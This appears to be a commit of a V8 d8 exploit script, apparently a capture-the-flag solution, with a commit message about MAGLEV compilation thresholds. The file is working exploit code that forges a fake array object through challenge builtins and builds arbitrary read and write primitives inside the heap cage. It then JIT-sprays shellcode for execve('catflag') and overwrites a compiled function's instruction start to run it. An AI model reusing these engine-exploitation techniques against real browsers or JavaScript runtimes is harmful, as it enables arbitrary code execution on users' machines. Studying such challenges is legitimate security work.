1. The threshold to trigger MAGLEV compilation is different when gdb is attached to d8 or not.
- When gdb attached to d8, the training loop count to trigger MAGLEV is 100,000.
- But when the standalone d8 running, the training loop count to trigger MAGLEV is only 10,000. If you still use 100,000, it will trigger TURBOFAN then code data structure will change and shellcode execution fails.
2. Fixed other miscellaneous minor mistakes.
105 lines
3.4 KiB
JavaScript
105 lines
3.4 KiB
JavaScript
// Integrated Builtin:
|
|
// - int32 GetAddressOf(HeapObject obj);
|
|
// - HeapObject GetFakeObject(int32 addr);
|
|
|
|
let ab = new ArrayBuffer(8);
|
|
let f64a = new Float64Array(ab, 0, 1);
|
|
let i32a = new Uint32Array(ab, 0, 2);
|
|
let si32a = new Int32Array(ab, 0, 2);
|
|
let bi64a = new BigUint64Array(ab, 0, 1);
|
|
|
|
function c2f(low, high) { // combined (two 4 bytes) word to float
|
|
i32a[0] = low;
|
|
i32a[1] = high;
|
|
return f64a[0];
|
|
}
|
|
|
|
function b2f(v) { // bigint to float
|
|
bi64a[0] = v;
|
|
return f64a[0];
|
|
}
|
|
|
|
function f2b(v) { // float to bigint
|
|
f64a[0] = v;
|
|
return bi64a[0];
|
|
}
|
|
|
|
function unptr(v) {
|
|
return v & 0xfffffffe;
|
|
}
|
|
|
|
function ptr(v) {
|
|
return v | 1;
|
|
}
|
|
|
|
function shellcode() { // Promote to ensure not GC during training
|
|
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
|
|
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
|
|
}
|
|
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
|
|
|
|
// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array
|
|
// map, properties, elements, length --- first three field are static roots
|
|
var arr = [c2f(0x001cb8a5, 0x00000725), c2f(0x00000725, 0x00008000)];
|
|
// %SystemBreak();
|
|
var arr_addr = GetAddressOf(arr);
|
|
console.log("Address of arr: " + arr_addr.toString(16));
|
|
var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui
|
|
// %DebugPrint(fakearr);
|
|
// %SystemBreak();
|
|
|
|
|
|
// QWORD Aligned
|
|
function ArbRead64(cage_addr) { // int32
|
|
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
|
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
|
|
let result = f2b(fakearr[0]);
|
|
console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
|
return result;
|
|
}
|
|
|
|
// QWORD Aligned
|
|
function ArbWrite64(cage_addr, value) { // int32, bigint
|
|
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
|
|
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
|
|
let written = b2f(value);
|
|
fakearr[0] = written;
|
|
console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
|
}
|
|
|
|
// ArbRead64(0xfffffff0);
|
|
// ArbWrite64(0x1230, 0x1234n);
|
|
|
|
// DWORD Aligned
|
|
function ArbRead32(cage_addr) { // int32 -> int32
|
|
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
|
bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
|
|
let result = i32a[(cage_addr & 0x4) >> 2];
|
|
console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
|
|
return result;
|
|
}
|
|
|
|
// DWORD Aligned
|
|
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
|
|
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
|
|
let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
|
|
bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
|
|
i32a[(cage_addr & 0x4) >> 2] = value;
|
|
ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
|
|
console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
|
|
}
|
|
|
|
// %DebugPrint(arr);
|
|
// %SystemBreak();
|
|
|
|
let shellcode_addr = GetAddressOf(shellcode);
|
|
console.log("Address of shellcode: " + shellcode_addr.toString(16));
|
|
// %DebugPrint(shellcode);
|
|
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
|
|
console.log("Address of code: " + code_addr.toString(16));
|
|
let instruction_start_addr = code_addr + 0x14;
|
|
let instruction_start = ArbRead32(instruction_start_addr);
|
|
console.log("instruction_start: " + instruction_start.toString(16));
|
|
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
|
|
shellcode();
|